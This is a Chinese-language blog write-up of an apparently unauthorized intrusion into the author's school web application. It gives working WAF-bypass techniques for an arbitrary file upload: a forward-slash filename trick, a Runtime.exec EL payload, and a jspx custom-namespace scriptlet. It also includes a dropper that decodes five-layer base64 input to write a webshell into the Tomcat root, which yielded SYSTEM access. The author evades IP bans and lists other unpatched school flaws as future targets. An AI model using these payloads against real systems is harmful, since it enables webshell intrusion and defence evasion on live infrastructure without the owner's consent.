記一次繞過waf的任意文件上傳
前言
前幾天對自己學校進行的一次滲透測試,由于深信服過于變態,而且攔截會直接封ip,整個過程有點曲折
期間進行了后綴名繞過,jspx命名空間繞過、獲取網站根目錄、base64五層編碼寫入shell等操作
0x01 獲取網站接口
主界面:

上傳點:

由于該應用是內嵌企業微信的套皮Html,所以我們首先用Burp Suite抓包獲取接口和cookie

任意文件上傳:

文件名強制命名為code+學號,后綴為最后一次點號出現之后的字母
0x02 后綴名繞過
代碼不限制后綴名,但是waf限制呀!
后綴名jsp,jspx會攔截,但是jspp,jspxx等不會攔截
所以要利用windows特性繞過,常規的繞過手法例如末尾加點號、::$DATA均無法繞過

經過fuzz,發現正斜杠可以繞過

0x03 內容繞過
常見的jsp標記均無法繞過


所以我們得繞過JSP標記檢測,這里參考了yzddmr6師傅的兩種 繞過方法:
- jspEL表達式繞過
- jspx命名空間繞過
第一種是利用${}標記:
payload:${Runtime.getRuntime().exec(request.getParameter("x"))}
但深信服waf過濾了一句話,需要變形繞過
鄙人太菜了,不了解相關函數的變形繞過,所以選擇第二種寫法
第二種是利用命名空間的特性:
參照yzddmr6師傅的圖:

使用自定義的命名空間,替換掉jsp的關鍵字
將原本的<jsp:scriptlet>替換成<自定義字符:scriptlet>
這樣waf的正則匹配不到<jsp:scriptlet>自然就會放行
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:scriptlet>
out.println(30*30);
</hi:scriptlet>
</hi>


0x04 獲取網站路徑
這里我們不能用相對路徑來寫入webshell
因為Tomcat與Apache不同,根目錄并不是以代碼運行位置決定所在的目錄,而是默認為Tomcat/bin作為根目錄
# 獲取當前的根目錄
String path = System.getProperty("user.dir");
out.println(path);

# 獲取web項目所在的目錄
String path = application.getRealPath("test.jsp");
out.println(path);

所以寫入shell的絕對路徑應為D:/tomcat8/webapps/declare/static/upload/test.jsp
0x05 編碼或加密繞過waf寫入shell
菜雞的payload:
<hi xmlns:hi="http://java.sun.com/JSP/Page">
<hi:directive.page import="java.util.Base64,java.io.*"/>
<hi:scriptlet>
File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");
FileWriter fileOut = new FileWriter(file);
Base64.Decoder base64 = Base64.getDecoder();
byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));
try {
fileOut.write(new String(str, "utf-8"));
out.println("寫入成功");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if (fileOut != null) {
fileOut.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
</hi:scriptlet>
</hi>
一開始我是用兩層base64編碼,還是被檢測了,經過fuzz發現五層編碼即可繞過
鄙人太懶了,不想重新造輪子。如果各位師傅有時間的話,遇到這種waf建議用RSA、AES等加密算法繞過

成功getshell,System權限

看了一眼依賴,可能存在log4j2和jackson的RCE,留著下次當靶場繼續測試

0x06 總結
深信服的waf算挺強了,而且也足夠惡心,檢測可疑行為直接封ip,光是fuzz就用掉了快30個ip了
學校其他站點有thinkphp5.0.23 RCE、泛微8.0前臺sql注入的漏洞,但都有這個waf,實在沒有耐心一個個fuzz
本菜雞第一次寫文,如有錯誤或建議歡迎指出,各位師傅